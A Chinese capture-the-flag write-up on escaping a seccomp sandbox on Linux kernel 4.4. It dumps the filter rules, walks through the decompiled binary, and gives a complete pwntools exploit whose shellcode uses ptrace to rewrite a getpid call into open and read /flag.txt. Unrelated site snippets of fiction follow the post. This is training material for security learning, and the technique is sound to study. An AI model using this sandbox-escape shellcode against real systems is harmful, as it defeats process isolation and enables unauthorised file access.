seccomp escape

seccomp escape

题目描述
flag in /flag.txt

ubuntu16.04 kernel 4.4.0-91-generic
题目分析
  • 安全防护
[*] '/home/nevv/Desktop/pwn1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

之前没接触过这类题目,因此先大概了解下相关基础知识:

seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandboxing 机制。在 Linux 系统里,大量的系统调用(system call)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp安全机制能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用4种系统调用(system call),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止。

prctl 函数

先来看下函数的原型:

#include <sys/prctl.h> 
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5); 

这里有5个参数,重点看option就知道它是想干嘛,这里主要关注2点:

PR_SET_NO_NEW_PRIVS(38)

PR_SET_SECCOMP(22)

我们通俗易懂地理解就是,prctl(38, 1LL, 0LL, 0LL, 0LL)表示禁用系统调用,也就是system和onegadget都没了,还会教子进程也这么干;而prctl(22,2)表示设置沙箱规则,从而可以实现改变函数的系统调用(通行或者禁止),这次重点研究沙箱规则,设置 seccomp ,其实也就是设置沙箱规则,这个 option 有两个子参数

1、SECCOMP_MODE*STRICT(1):允许线程进行的唯一系统调用是read(2),write(2),*exit(2)(但不是exit_group(2))和sigreturn(2)。

2、SECCOMP_MODE_FILTER(2) (since Linux 3.5):允许的系统调用由指向arg3中传递的Berkeley Packet Filter的指针定义。 这个参数是一个指向struct sock_fprog的指针; 它可以设计为过滤任意系统调用和系统调用参数

源码:

struct sock_filter { 
  /* Filter block */ __u16 code; 
  /* Actual filter code */ __u8 jt; 
  /* Jump true */ __u8 jf; 
  /* Jump false */ __u32 k; 
  /* Generic multiuse field */ 
}; 
struct sock_fprog { 
  /* Required for SO_ATTACH_FILTER. */ unsigned short len; 
  /* Number of filter blocks */ 
  struct sock_filter *filter; };
seccomp-tools
sudo gem install seccomp-tools
nevv@ubuntu:~/Desktop/seccomp-tools-master/bin$ ./seccomp-tools dump ../../pwn1
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011 // line11
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x07 0x00 0x40000000  if (A >= 0x40000000) goto 0011
 0004: 0x15 0x06 0x00 0x00000002  if (A == open) goto 0011
 0005: 0x15 0x05 0x00 0x00000101  if (A == openat) goto 0011
 0006: 0x15 0x04 0x00 0x00000055  if (A == creat) goto 0011
 0007: 0x15 0x03 0x00 0x0000009d  if (A == prctl) goto 0011
 0008: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0011
 0009: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00051234  return ERRNO(4660)

没有禁用ptrace

漏洞分析

程序执行流程为:

  • 调用prctl设置规则
  • mmap开辟空间
  • 写入4096字节数据,并从起始位置开始执行
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax
  int v4; // esi
  char *v5; // rsi
  signed __int64 v6; // rdi
  unsigned int i; // [rsp+Ch] [rbp-A4h]
  signed int v9; // [rsp+10h] [rbp-A0h]
  signed int v10; // [rsp+14h] [rbp-9Ch]
  int v11; // [rsp+1Ch] [rbp-94h]
  char *v12; // [rsp+20h] [rbp-90h]
  __int16 v13; // [rsp+30h] [rbp-80h]
  __int16 *v14; // [rsp+38h] [rbp-78h]
  __int16 v15; // [rsp+40h] [rbp-70h]
  char v16; // [rsp+42h] [rbp-6Eh]
  char v17; // [rsp+43h] [rbp-6Dh]
  int v18; // [rsp+44h] [rbp-6Ch]
  __int16 v19; // [rsp+48h] [rbp-68h]
  char v20; // [rsp+4Ah] [rbp-66h]
  char v21; // [rsp+4Bh] [rbp-65h]
  int v22; // [rsp+4Ch] [rbp-64h]
  __int16 v23; // [rsp+50h] [rbp-60h]
  char v24; // [rsp+52h] [rbp-5Eh]
  char v25; // [rsp+53h] [rbp-5Dh]
  int v26; // [rsp+54h] [rbp-5Ch]
  __int16 v27; // [rsp+58h] [rbp-58h]
  char v28; // [rsp+5Ah] [rbp-56h]
  char v29; // [rsp+5Bh] [rbp-55h]
  int v30; // [rsp+5Ch] [rbp-54h]
  __int16 v31; // [rsp+90h] [rbp-20h]
  char v32; // [rsp+92h] [rbp-1Eh]
  char v33; // [rsp+93h] [rbp-1Dh]
  int v34; // [rsp+94h] [rbp-1Ch]
  __int16 v35; // [rsp+98h] [rbp-18h]
  char v36; // [rsp+9Ah] [rbp-16h]
  char v37; // [rsp+9Bh] [rbp-15h]
  int v38; // [rsp+9Ch] [rbp-14h]
  unsigned __int64 v39; // [rsp+A8h] [rbp-8h]

  v39 = __readfsqword(0x28u);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  if ( prctl(38, 1LL, 0LL, 0LL, 0LL) )
    __assert_fail("prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == 0", "seccomp_ptrace_escape.c", 0x1Fu, "main");
  v15 = 32;
  v16 = 0;
  v17 = 0;
  v18 = 4;
  v19 = 21;
  v20 = 0;
  v21 = 9;
  v22 = -1073741762;
  v23 = 32;
  v24 = 0;
  v25 = 0;
  v26 = 0;
  v27 = 53;
  v28 = 7;
  v29 = 0;
  v30 = 0x40000000;
  for ( i = 0; i <= 5; ++i )
  {
    v3 = i + 4;
    v4 = qword_601080[i];
    *(&v15 + 4 * (signed int)(i + 4)) = 21;
    *(&v16 + 8 * v3) = 6 - i;
    *(&v17 + 8 * v3) = 0;
    *(&v18 + 2 * (signed int)(i + 4)) = v4;
  }
  v31 = 6;
  v32 = 0;
  v33 = 0;
  v34 = 2147418112;
  v35 = 6;
  v36 = 0;
  v37 = 0;
  v38 = 332340;
  v13 = 12;
  v14 = &v15;
  if ( prctl(22, 2LL, &v13, 0LL, 0LL) )
    __assert_fail(
      "prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &fprog, 0, 0) == 0",
      "seccomp_ptrace_escape.c",
      0x39u,
      "main");
  v5 = (char *)4096;
  v6 = 1191936LL;
  v12 = (char *)mmap((void *)0x123000, 0x1000uLL, 7, 34, -1, 0LL);
  if ( v12 == (char *)-1LL )
  {
    puts("mmap failed");
    exit(0);
  }
  v9 = 0;
  v10 = 4096;
  while ( v9 <= 4095 )
  {
    v5 = &v12[v9];
    v6 = 0LL;
    v11 = read(0, v5, v10);
    if ( v11 <= 0 )
      exit(0);
    v9 += v11;
    v10 -= v11;
  }
  ((void (__fastcall *)(signed __int64, char *))v12)(v6, v5);
  return 0LL;
}
  • 使用ptrace修改ori_rax
struct user_regs_struct regs;
ptrace(PTRACE_GETREGS, pid, NULL, &regs);
if (regs.orig_rax == SYS_getpid) {
    regs.orig_rax = regs.rdi;
    regs.rdi = regs.rsi;
    regs.rsi = regs.rdx;
    regs.rdx = regs.r10;
    regs.r10 = regs.r8;
    regs.r8 = regs.r9;
    regs.r9 = 0;
    ptrace(PTRACE_SETREGS, pid, NULL, &regs);
}
user_regs_struct结构
struct user_regs_struct
{
  unsigned long r15;
  unsigned long r14;
  unsigned long r13;
  unsigned long r12;
  unsigned long rbp;
  unsigned long rbx;
  unsigned long r11;
  unsigned long r10;
  unsigned long r9;
  unsigned long r8;
  unsigned long rax;
  unsigned long rcx;
  unsigned long rdx;
  unsigned long rsi;
  unsigned long rdi;
  unsigned long orig_rax;
  unsigned long rip;
  unsigned long cs;
  unsigned long eflags;
  unsigned long rsp;
  unsigned long ss;
  unsigned long fs_base;
  unsigned long gs_base;
  unsigned long ds;
  unsigned long es;
  unsigned long fs;
  unsigned long gs;
};
exp
#coding:utf-8
#!/usr/bin/env python

from pwn import *
import pwnlib.shellcraft as sc
context(os='linux', arch='amd64', log_level='debug')

p = process('./pwn1')
# p = remote("118.89.247.212",8383)
clone = asm(sc.syscall('SYS_fork')) + asm('test rax, rax')

# clone = asm('''
# /* clone and branch */
# mov rdi, 0x4007C6
# mov rsi, 0
# mov rdx, 0
# mov r10, rsp
# add r10, 0x500
# mov qword ptr [r10], 0
# mov rax, 56

# syscall
# test rax, rax
# ''')


debugger = asm('''
/* time delay */
mov rdx, 0x30000000
dec rdx
test rdx, rdx
jnz $ - 6
push rax

/* waitpid(childpid, NULL, 0) */
mov rdi, rax
mov rsi, 0
mov rdx, 0
mov r10, 0
mov rax, 0x3d
syscall

/* ptrace(PTRACE_SYSCALL, childpid, NULL, NULL) */
mov rdi, 0x18
mov rsi, [rsp]
mov rdx, 0
mov r10, 0
mov rax, 0x65
syscall

/* waitpid(childpid, NULL, 0) */
mov rdi, [rsp]
mov rsi, 0
mov rdx, 0
mov r10, 0
mov rax, 0x3d
syscall

/* ptrace(PTRACE_GETREGS, childpid, NULL, &regs */
mov rdi, 0xc
mov rsi, [rsp]
mov rdx, 0x0
mov r10, rsp
add r10, 0x400
mov rcx, r10
/* mov rcx, 0x123200 */
mov rax, 0x65
syscall

/* ptrace(PTRACE_SETREGS, childpid, NULL, &regs) */
mov rdi, 0xd
mov rsi, [rsp]
mov rdx, 0
mov r10, rsp
add r10, 0x400
mov r9, r10
add r9, 0x78
/*
mov r10, 0x123200
mov r9, r10
add r9, 0x78
*/
mov qword ptr [r9], 2
mov rax, 0x65
syscall

/* ptrace(PTRACE_DETACH, childpid, NULL, NULL) */
mov rdi, 0x11
mov rsi, [rsp]
mov rdx, 0
mov r10, 0
mov rax, 101
syscall

mov rax, 0x3c
syscall
''')

debuggee = asm('''
/* ptrace(PTRACE_TRACEME, 0, NULL, NULL) */
mov rdi, 0
mov rsi, 0
mov rdx, 0
mov r10, 0
mov rax, 101
syscall

/* syscall(SYS_gettid) */
mov rax, 0x27/*0xba*/
syscall

/* syscall(SYS_tkill, pid, SIGSTOP) */
mov rdi, rax
mov rsi, 0x13
mov rax, 0x3e/*0xc8*/
syscall
''' + shellcraft.pushstr('./flag.txt') + '''
/* open(file='rsp', oflag=0, mode=0) */
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call open() */
xor rax, rax
mov rax, 39/*getpid*/
syscall
'''
 +
shellcraft.read('rax', 'rsp', 100) + shellcraft.write(1, 'rsp', 100))
    
stage3  = ""    
stage3 += clone
stage3 += asm('jz $+{}'.format(len(debugger)+6))
stage3 += debugger
stage3 += debuggee
# gdb.attach(p)
p.sendline(stage3+"\x00"*(4096-len(stage3)))
# p.recv()
p.interactive()

注意这里在内核版本4.8之后修复了这个问题,因此调试的时候需要切换到4.4版本进行调试

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 157,198评论 4 359
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 66,663评论 1 290
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 106,985评论 0 237
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,673评论 0 202
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 51,994评论 3 285
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,399评论 1 211
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,717评论 2 310
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,407评论 0 194
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,112评论 1 239
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,371评论 2 241
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,891评论 1 256
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,255评论 2 250
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,881评论 3 233
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,010评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,764评论 0 192
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,412评论 2 269
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,299评论 2 260